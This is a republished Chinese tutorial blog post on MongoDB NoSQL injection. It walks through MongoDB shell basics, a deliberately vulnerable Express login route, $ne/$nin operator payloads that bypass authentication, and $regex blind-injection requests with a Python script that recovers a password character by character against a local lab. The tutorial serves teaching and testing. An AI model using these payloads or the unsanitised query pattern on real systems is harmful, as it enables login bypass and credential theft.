Nosql inject注入

news2024/11/26 8:45:50

0x00 Nosql inject

最近主要在看那个 YApi 的注入漏洞,也是一个 mongodb的注入

所以来写一下这个东西,其实现在越来越常见的Nosql注入

感觉很多分布式和一些新的系统已经大量使用这种nosql数据库,这个注入和传统的关系型数据库有一点点不同

还有一个练习的靶场,等等放上来 github

0x01 What is nosql

什么是 Nosql

都是抄的介绍自己看看吧

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

0x02 Nosql 注入的简介

NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。

使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。
换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。

与关系数据库不同:

NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。

0x03 最常见的MongoDB

MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

单词对标

在 MongoDB 中基本的概念有一些特殊的名字“文档、集合、数据库”

这个是先知文章之中看到的,感觉对比的非常好,一目了然,对于快速掌握还是比较友好

表所示:

SQL 概念MongoDB 概念说明
databasedatabase数据库
tablecollection数据库表/集合
rowdocument数据记录行/文档
columnfield数据字段/域
indexindex索引
table joins表连接,MongoDB 不支持
primary keyprimary key主键,MongoDB 自动将 _id 字段设置为主键

下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

RDBMSMongoDB
数据库数据库
表格集合
文档
字段
表联合嵌入文档
主键主键(MongoDB 提供了 key 为 _id)

0x04 mongodb的简单使用

首先我们先熟悉一下mongodb的常规用法,回归基础哈哈

下面是我学习的一些command line

利用账号密码登陆

# mongo mongodb://admin:admin@127.0.0.1:27017                                          
MongoDB shell version v4.0.27
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("e1c9a87d-f9e4-4cfc-b661-8d7019d19628") }
MongoDB server version: 4.0.27
Server has startup warnings: 
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] 
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).

The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.

To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---

查看数据库

> show dbs
admin   0.000GB
arl     0.041GB
config  0.000GB
local   0.000GB

当前数据库

> db
test

切换数据库

> use arl
switched to db arl

查看集合(相当于看库表)

> show collections
asset_domain
asset_ip
asset_site
cert
...
> show tables
asset_domain
asset_ip
asset_site
cert
...

创建一个集合

> db.createCollection("zeotest")
{ "ok" : 1 }
> show tables
all_users
asset_domain
asset_ip
asset_site
cert
zeotest

插入一个文档(数据)

db.zeotest.insert({name: 'zeo', 
    description: 'the hacker',
    age: 18,
    status: 'UP',
    tel: ['13888888888', '66666666666']
})

查询数据,带条件的查询

在 MongoDB 中使用 find() 方法来查询文档

> db.zeotest.find()
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
> db.zeotest.insert({name: 'jebson',     description: 'the it',     age: 22,     status: 'down',     tel: ['138888', '666666'] })
WriteResult({ "nInserted" : 1 })
> db.zeotest.find()
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
{ "_id" : ObjectId("63817cb30c8866311e74ab5a"), "name" : "jebson", "description" : "the it", "age" : 22, "status" : "down", "tel" : [ "138888", "666666" ] }
> db.zeotest.find({"name":"zeo"})
{ "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
> 

靶场搭建

有一个小bug,现在版本升级之后,得用下面这个,mongodb的包是包含在这个里面的

npm install mongoose

0x05 NoSQL 注入

0x06 重言式注入

也叫永真式,此类攻击是在条件语句中注入代码

使生成的表达式判定结果永远为真,类似万能密码

看一下下面这个简单的js代码

app.get('/inject', function(req, res) {
	var user = (req.query.user);
	var pass = (req.query.pass);
	var query = ( '{ "name": '+user+', "passwd": '+pass+' }' );
	console.log(query)
	const mydb = db.db('arl')
	console.log(user,"---",pass)
	mydb.collection(mongo_col).findOne({
		"name": user, 
		"passwd": pass
	}, function (err, user) {
		if (err) {
			return res.status(500).send({message: err.message});
		}
		else if (!user) {
			res.render('error', {error: 'Sorry user not found!' });
		}
		else{
		    res.render('result', {user: user.user, pass: user.pass });
		}
	});
});

payload

http://127.0.0.1:8000/inject?user[$nin][]=&pass[$ne]=

实际获取的数据

user 是 { '$nin': [ '' ] }
pass 是 { '$ne': '' }

拼接之后的qurey是

{ "name": [object Object], "passwd": [object Object] }

解释一下:

  • 首先是$ne 是 not equal 不等于

  • http链接中user[$nin][]=&pass[$ne]=

  • js中是 query =array( "user" => array("$nin" => 1),"pass" => ("$ne" => 1))

  • mongodb中拼接查询就是

    mydb.collection(mongo_col).find({ "name": {"$nin":1}, "passwd": {"$ne":1} })
    
  • 这样就相当于是万能密码那 or 1=1 吧, 查询就是永真的情况

0x07 盲注

现在感觉很多的地方都是当页面没有回显这种情况

一般都通过通过 $regex 正则表达式操作

而且 NoSQL 用到的基本上都是布尔盲注。

payload

GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{7} HTTP/1.1
Host: 127.0.0.1:8000

错误,说明长度没有7
GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{6} HTTP/1.1
Host: 127.0.0.1:8000

正确,说明长度为6

写给脚步跑一下

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
passwd = ''
target = 'http://127.0.0.1:8000/inject?login=&user[$eq]=zeo2&pass[$regex]='
while True:
    for word in string.printable:
        if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            payload = '^%s' % (passwd + word)
            r = requests.get(target + payload)
            if 'Welcome' in r.text:
                print("Found one more char : %s" % (passwd+word))
                passwd += word

image-20221126211214629

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42668.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Hack The Box】linux练习-- Meta

HTB 学习笔记 【Hack The Box】linux练习-- Meta 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月27日🌴 &#x1f36d…

[附源码]计算机毕业设计springboot“科教兴国”支教门户网站

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

复旦MBA项目GNW海外课程|连线全球顶尖商学院,跨时空学习精彩无限!

10月下旬,复旦MBA为期一周的GNW海外课程落下帷幕,复旦在职MBA的同学们通过云端连线,走进全球多所顶级商学院,与深谙商道、学术造诣深厚的教授学者,以及来自不同地域不同文化背景的精英学生取经论道。      复旦MBA…

深入理解死锁问题

死锁问题🏞️1. 死锁概念🌁2. 为什么发生死锁🌠3. 产生死锁的条件🌁4. 如何避免死锁📖4.1 循环等待📖4.2 持有并等待📖4.3 非抢占📖4.4 互斥🌿5. 通过调度避免死锁&#…

【Python开发】一文详解Flask-Login

一文详解Flask-LoginFlask-Login 为 Flask 提供用户会话管理。它处理登录、注销和长时间记住用户会话等常见任务。 Flask-Login 不绑定到任何特定的数据库系统或权限模型。唯一的要求是您的 用户对象实现一些方法,并且您向能够 从用户 ID 加载用户 的扩展提供回调。…

Kotlin 开发Android app(十二):Android布局FrameLayout和ViewPager2控件实现滚动广告栏

在上一节中我们简单的介绍了RecyclerView 的使用,他是整个开发的重点控件,这一节我们来看看FrameLayout 布局结合ViewPager2,开发一个广告控件。 新模块banner 先创建一个新的模块,取名为banner,用来创建我们的滚动广…

Spring Boot自定义Namespace

Spring Boot 自定义Namespace 在学些Spring Boot 自定义Namespace之前,先来看一个简单的案例。在Spring Boot出现之前,所有的bean都是在XML文件的格式 中定义。为了管理方便,一些大型复杂的应用系统,通常定个多个xml文件来共同满…

【笑小枫的按步照搬系列】JDK8下载安装配置

笑小枫💕 欢迎来到笑小枫的世界,喜欢的朋友关注一下我呦,大伙的支持,就是我坚持写下去的动力。 微信公众号:笑小枫 笑小枫个人博客:https://www.xiaoxiaofeng.com 一、安装 1、方式一:进入官网…

Apifox:成熟的测试工具要学会自己写接口文档

好家伙, 在开发过程中,我们总是避免不了进行接口的测试, 而相比手动敲测试代码,使用测试工具进行测试更为便捷,高效 今天发现了一个非常好用的接口测试工具Apifox 相比于Postman,他还拥有一个非常nb的功…

读《基于深度学习的跨视角步态识别算法研究》

2020 背景: 作为一种新兴的识别技术,步态识别具有在非受控、远距离、低分辨率的场景下进行身份识别的优点,并且步态不易改变和伪装,所以近年来得到的关注逐渐增多。 步态识别作为一种新兴的身份识别技术,可以根据人…

jsp美食管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 美食管理系统 是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统采用serlvet dao bean mvc模式开发,系统具有完整的源代码和数据库,系统主要采用B/S模式 开发。开发环境为TOMCAT7.0,Myeclipse8…

ZYNQ之FPGA学习----UART串口实验

1 UART串口简介 UART串口基础知识学习:硬件设计基础----通信协议UART 2 实验任务 上位机通过串口调试助手发送数据给 Zynq,Zynq PL 端通过 RS232 串口接收数据并将接收到的数据发送给上位机,完成串口数据环回,管脚分配如下&…

软件测试的分类

这里先讲一些概念,改日从这里边挑几个细讲。(给小白看的) 按测试对象划分: 界面测试: 软件只是一种工具,软件与人的信息交流是通过界面来进行的,界面是软件与用户交流的最直接的一层&#xff…

基于二次近似(BLEAQ)的双层优化进化算法_matlab程序

参考文献如上。 双层优化问题是一类具有挑战性的优化问题,包含两个层次的优化任务。在这些问题中,下层问题的最优解成为上层问题的可能可行候选。这样的要求使得优化问题难以解决,并使研究人员忙于设计能够有效处理该问题的方法。尽管付出了…

Redis常见面试问题总结

文章目录Redis 基础面试说说你对Redis的了解?说说Redis中的数据类型?说说Redis数据类型对应的数据结构?说说Redis对应的Java客户端有哪些?说说Redis 中持久化发生了什么?说说Redis中持久化以及方式?如何理解Redis中RD…

2022年超实用的推特营销策略

Twitter推广需知的13条基础知识: 1、Twitter日活用户达1亿 2、Twitter月活用户3.25亿 3、Twitter广告价格比其他渠道便宜33% 4、每天产生5亿条推文 5、Twitter推广能够提高29%的线下交易 6、37%的Twitter用户在18到29岁之间 7、86%的带链接推文会比普通推文效…

JUC并发编程与源码分析笔记03-CompletableFuture

Future接口理论知识复习 Future接口(FutureTask实现类)定义了操作异步任务执行的一些方法,如获取异步任务的执行结果、取消任务的执行、判断任务是否被取消、判断任务执行是否完毕等。 找到java.util.concurrent.Future,看到里面…

Node.js 入门教程 22 将所有 Node.js 依赖包更新到最新版本

Node.js 入门教程 Node.js官方入门教程 Node.js中文网 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删 文章目录Node.js 入门教程22 将所有 Node.js 依赖包更新到最新版本22 将所有 Node.js 依赖包更新到最新版本 当使用 npm install <packagename&g…

pytorch 手写数字识别1

目录 概述 加载图片 绘图部分 backward 前言&#xff1a; 这里以一个手写数字识别的例子,简单了解一下pytorch 实现神经网络的过程. 本章重点讲一下加载数据过程 参考&#xff1a; 课时9 手写数字识别初体验-1_哔哩哔哩_bilibili Pytorch中的backward函数 - …

为了让线上代码可追溯, 我开发了这个vite插件

人生的第一个vite插件 前言 想在控制台输出一下前端代码的一些构建信息&#xff0c; 比如打包时间、打包的人, 代码分支、commit是那个&#xff0c;方便在控制台追溯。 背景 遇到的问题 1、场景一 前端多人协同开发的情况下&#xff0c;比方测试站&#xff0c; 你发的代码…